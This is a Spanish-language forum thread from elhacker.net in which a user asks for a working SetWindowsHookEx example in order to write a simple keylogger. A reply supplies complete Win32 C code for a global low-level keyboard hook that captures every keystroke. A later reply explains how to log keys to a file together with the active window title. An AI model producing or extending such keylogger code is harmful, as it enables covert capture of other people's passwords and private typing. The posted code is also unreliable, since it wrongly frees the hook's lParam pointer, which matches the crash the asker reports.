elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
29 Mayo 2012, 03:03  


Tema destacado: Entra al canal IRC oficial de #elhacker.net

+  Foro de elhacker.net
|-+  Programación
| |-+  Programación C/C++ (Moderadores: Eternal Idol, Littlehorse)
| | |-+  SetWindowsHookEx ¿hay un ejemplo claro y funcional?
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: SetWindowsHookEx ¿hay un ejemplo claro y funcional?  (Leído 1,222 veces)
yovaninu


Desconectado Desconectado

Mensajes: 309



Ver Perfil
SetWindowsHookEx ¿hay un ejemplo claro y funcional?
« en: 5 Agosto 2011, 05:03 »

Buenas a todos

Me he pasado varias horas googleando a cerca de esta interesante API para 'enganchar' al teclado y a otras cosas, pero la mucha info que hay, esta al 90% en ingles y me cuesta entenderlo, por lo que pido ayuda a alguna alma caritativa para poder entenderla y ojala con un ejemplo funcional para a partir de alli poder crear por ejemplo un keylogger simple.

Por lo que he logrado entender, seria mejor usar un hook a WH_KEYBOARD_LL y no a WH_KEYBOARD, ya que esta ultima dependeria de una DLL.

Y por ultimo, ya que estoy bajo Visual C++ 2005, cual es el mejor escenario para poder crear por ejemplo un keylogger, una aplicación de consola o una aplicacion de Win32.

Se que puedo estar preguntando cosas sin saber pero justamente por eso os pido que me orienten un poco.

Saludos y muchas gracias desde ya.


En línea
naderST


Desconectado Desconectado

Mensajes: 467



Ver Perfil
Re: SetWindowsHookEx ¿hay un ejemplo claro y funcional?
« Respuesta #1 en: 5 Agosto 2011, 06:51 »

Para el keylogger sin duda la aplicación Win32 y un ejemplo de un hook al teclado sería este:

Código
#include <windows.h>
#include <stdio.h>
 
HHOOK hHook;
MSG messages;
 
LRESULT CALLBACK hook_teclado(int nCode, WPARAM wParam, LPARAM lParam);
 
int WINAPI WinMain (HINSTANCE hThisInstance,
                    HINSTANCE hPrevInstance,
                    LPSTR lpszArgument,
                    int nCmdShow)
{
   hHook = SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC)hook_teclado, hThisInstance, NULL);
 
   while(GetMessage(&messages, NULL, NULL, NULL)){
       TranslateMessage(&messages);
       DispatchMessage(&messages);
   }
 
   return messages.wParam;
}
 
LRESULT CALLBACK hook_teclado(int nCode, WPARAM wParam, LPARAM lParam){
   if(nCode < 0)
       return CallNextHookEx(hHook, nCode, wParam, lParam);
 
   if(wParam == WM_KEYDOWN){
       PKBDLLHOOKSTRUCT teclado = (PKBDLLHOOKSTRUCT)lParam;
       printf("%c", teclado->vkCode);
       free(teclado);
   }
 
   return CallNextHookEx(hHook, nCode, wParam, lParam);
}
 
 

Aquí algunos links a la MSDN:

http://msdn.microsoft.com/en-us/library/ms644960(v=VS.85).aspx
http://msdn.microsoft.com/en-us/library/ms644990(v=vs.85).aspx

Todo lo que tiene que ver con el API de Windows esta ahí.


En línea
yovaninu


Desconectado Desconectado

Mensajes: 309



Ver Perfil
Re: SetWindowsHookEx ¿hay un ejemplo claro y funcional?
« Respuesta #2 en: 5 Agosto 2011, 23:42 »

Ok, gracias por el ejemplo naderST, aunque en el Vs 2005, tuve que cambiar la definicion del preprocesador a UNICODE;_UNICODE;_WIN32_WINNT=0x0500 para que el ejemplo pueda ejecutar, ya sin ello daba el error
Código:
'WH_KEYBOARD_LL': undeclared identifier

Bueno, al ejecutar el codigo de ejempo, aparentemente, ( o hasta donde hago el esfuerzo de entender) captura la tecla pulsada y luego el programa se detiene, me sale la sgte ventana:


Cuales son los procedimientos que deberia realizar para poder ver las teclas capturadas y/o guardarlas en un archivo?

Gracias por su tiempo.
En línea
naderST


Desconectado Desconectado

Mensajes: 467



Ver Perfil
Re: SetWindowsHookEx ¿hay un ejemplo claro y funcional?
« Respuesta #3 en: 6 Agosto 2011, 05:39 »

Código
teclado->vkCode

Con eso tienes la tecla y bueno lo demás de guardarlo en un archivo es básico, puedes usar la función GetForegroundWindow() para obtener la ventana actual y guardar eso en el archivo de texto y con eso saber en que ventana el usuario esta escribiendo y hay una infinidad de cosas que puedes hacer, ponte creativo.
En línea
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Global.asa no funcional
Desarrollo Web
oscarosalazar 0 344 Último mensaje 31 Marzo 2004, 22:33
por oscarosalazar
SetWindowsHookEx
Programación General
Karman 1 943 Último mensaje 13 Febrero 2005, 11:57
por Slasher-K
No funcional los altavoces
Hardware
bluemistika 1 316 Último mensaje 3 Septiembre 2005, 20:10
por Kasswed
Equivalente a SetWindowsHookEx en modo kernel?
Programación C/C++
Zzombi 6 1,231 Último mensaje 31 Julio 2010, 21:11
por Littlehorse
CONSULTA: SetWindowsHookEx
Hacking Avanzado
noookiever 1 1,336 Último mensaje 26 Agosto 2011, 15:41
por someRandomCode
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines